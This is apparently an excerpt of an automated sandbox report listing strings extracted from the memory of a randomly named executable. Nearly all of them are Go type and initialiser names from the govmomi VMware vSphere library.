Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.[7]github.com/vmware/govmomi/vim25/types.DiagnosticManagerLogCreator
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.789
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.788
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.787
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.github.com/vmware/govmomi/vim25/types.UnlicensedVirtualMachinesFoundEvent
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.786
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.github.com/vmware/govmomi/vim25/types.DatacenterConfigSpec
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.785
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.784
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.783
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.github.com/vmware/govmomi/vim25/types.GenerateKey
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.ReplicationDiskConfigFaultReasonForFault.Values
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.github.com/vmware/govmomi/vim25/types.ExitedStandbyModeEvent
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.782
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.781
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.github.com/vmware/govmomi/vim25/types.FindByIpRequestType
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.github.com/vmware/govmomi/vim25/types.UpdateKmsSignedCsrClientCertRequestType
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.780
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.HostDistributedVirtualSwitchManagerFailoverStage.Values
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.github.com/vmware/govmomi/vim25/types.VirtualMachineCpuIdInfoSpec
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000000DF9000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: 2*[]types.VirtualMachineCloneSpecTpmProvisionPolicy
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.779
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.778
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.github.com/vmware/govmomi/vim25/types.IscsiDependencyEntity
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.777
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.776
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.775
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.774
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.773
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.github.com/vmware/govmomi/vim25/types.CreateTask
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.772
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.github.com/vmware/govmomi/vim25/types.FaultDomainId
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000000DF9000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: )*[]types.VirtualMachineFeatureRequirement
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.771
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.770
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.github.com/vmware/govmomi/vim25/types.CreateTemporaryFileInGuestRequestType
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.github.com/vmware/govmomi/vim25/types.AttachTagToVStorageObjectRequestType
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.github.com/vmware/govmomi/vim25/types.VmNoNetworkAccessEvent
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.768
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.767
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.FolderDesiredHostState.Values
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.766
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.765
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.764
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.763
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.[2]github.com/vmware/govmomi/vim25/types.VMotionCompatibilityType
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.762
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.761
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.[2]github.com/vmware/govmomi/vim25/types.NvdimmNvdimmHealthInfoState
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.[4]github.com/vmware/govmomi/vim25/types.VirtualDeviceConnectInfoStatus
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000000DF9000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: %types.ZeroFillVirtualDiskRequestType%[2]types.HostDVSConfigSpecSwitchMode%[2]types.HostVmfsVolumeUnmapPriority%[2]types.NvdimmNvdimmHealthInfoState%[2]types.VMwareUplinkLacpTimeoutMode%[3]types.DvsNetworkRuleDirectionType%[3]types.NvdimmNamespaceDetailsState%[3]types.VirtualDiskRuleSpecRuleType%[4]types.HostFirewallSystemRuleSetId%[4]types.LicenseReservationInfoState%[4]types.ScsiLunLunReservationStatus%[4]types.VMwareDVSTeamingMatchStatus%[5]types.DrsRecommendationReasonCode%[6]types.HostReplayUnsupportedReason%[6]types.VirtualMachineGuestOsFamily%[7]types.DiagnosticManagerLogCreator%[7]types.NvdimmNamespaceHealthStatus%map[protowire.Number]filedesc.Field%map[protoreflect.Name]filedesc.Enum%func(protoreflect.MessageType) error%map[protowire.Number]impl.fieldInfo%map.bucket[dnsmessage.section]string%map.bucket[string]singleflight.call%func(time.Duration) <-chan time.Time%interface { GoPackagePath() string }%map[string]protoreflect.ProtoMessage%vendor/golang.org/x/text/unicode/norm
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.769
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000000DF9000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: *[]types.VirtualMachineCdromInfo
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000000DF9000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: (*[3]types.VMwareDVSVspanSessionEncapType
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.github.com/vmware/govmomi/vim25/types.UpdateUser
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.github.com/vmware/govmomi/vim25/types.VmFailoverFailed
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.760
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.(*VirtualMachineToolsStatus).Values
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.github.com/vmware/govmomi/vim25/types.RecommissionVsanNode_Task
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.(*HostProfileManagerCompositionValidationResultResultElementStatus).Values
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000000DF9000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: 5*types.ArrayOfVirtualMachineQuickStatsMemoryTierStats
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.github.com/vmware/govmomi/vim25/types.LicenseNonComplianceEvent
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.757
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.756
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.755
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.754
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.753
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.github.com/vmware/govmomi/vim25/types.VirtualKeyboard
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.752
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.751
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.750
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.github.com/vmware/govmomi/vim25/types.DefragmentAllDisksRequestType
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.github.com/vmware/govmomi/vim25/types.DisableRulesetRequestType
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.759
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.github.com/vmware/govmomi/vim25/types.UpdateKmipServerRequestType
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.758
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.VirtualMachineFaultToleranceType.Values
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.github.com/vmware/govmomi/vim25/types.CustomFieldDefAddedEvent
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.github.com/vmware/govmomi/vim25/types.WaitForUpdatesExRequestType
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000000DF9000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: )*func() []types.VMwareDVSVspanSessionType
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.746
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.745
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.744
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.743
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.742
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.741
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.github.com/vmware/govmomi/vim25/types.ClusterRuleSpec
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.github.com/vmware/govmomi/vim25/types.HostSharedGpuCapabilities
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.740
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000000DF9000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: 2*[]types.VirtualMachineVgpuProfileInfoProfileClass
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.HostSgxInfoSgxStates.Values
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000000DF9000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: )*types.VirtualMachineVMCIDeviceFilterInfo
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.github.com/vmware/govmomi/vim25/types.QueryVirtualDiskGeometry
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.github.com/vmware/govmomi/vim25/types.SetField
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.[4]github.com/vmware/govmomi/vim25/types.VirtualAppVAppState
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.749
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.748
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.(*HostMemoryTieringType).Values
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.747
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.github.com/vmware/govmomi/vim25/types.QueryUsedVlanIdInDvs
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000000DF9000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: &*types.UpdateVirtualMachineFilesResult
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.github.com/vmware/govmomi/vim25/types.DetachDiskRequestType
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.github.com/vmware/govmomi/vim25/types.StorageDrsIoLoadBalanceConfig
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000000DF9000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: DiskExtents.xml:"diskExtents" json:"diskExtents,omitempty":[1]types.HostDistributedVirtualSwitchManagerFailoverStage:[2]types.HostGraphicsConfigSharedPassthruAssignmentPolicy:[2]types.HostRuntimeInfoStateEncryptionInfoProtectionMode:[2]types.PhysicalNicResourcePoolSchedulerDisallowedReason:[2]types.VirtualMachineBootOptionsNetworkBootProtocolType:[3]types.VirtualMachineWindowsQuiesceSpecVssBackupContext:[5]types.DistributedVirtualSwitchProductSpecOperationType:map.bucket[protoreflect.Name]protoreflect.FieldDescriptor
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.735
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.734
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.github.com/vmware/govmomi/vim25/types.HostLocalPortCreatedEvent
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.733
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.732
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.(*ClusterComputeResourceVcsHealthStatus).Values
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000000DF9000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: (*[2]types.VirtualMachineVMCIDeviceAction
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.731
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.730
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.[3]github.com/vmware/govmomi/vim25/types.HostCpuSchedulerInfoCpuSchedulerPolicyInfo
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000000DF9000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: &*types.MarkAsVirtualMachineRequestType
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.github.com/vmware/govmomi/vim25/types.CancelRecommendationRequestType
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.739
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.738
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.github.com/vmware/govmomi/vim25/types.ConfigureCryptoKeyRequestType
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.737
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.VsanUpgradeSystemUpgradeHistoryDiskGroupOpType.Values
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.736
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.6010
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.[5]github.com/vmware/govmomi/vim25/types.VirtualMachineVirtualDeviceSwapDeviceSwapStatus
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.github.com/vmware/govmomi/vim25/types.VAppEntityConfigInfo
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000000DF9000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: /*types.UpdateVVolVirtualMachineFilesRequestType
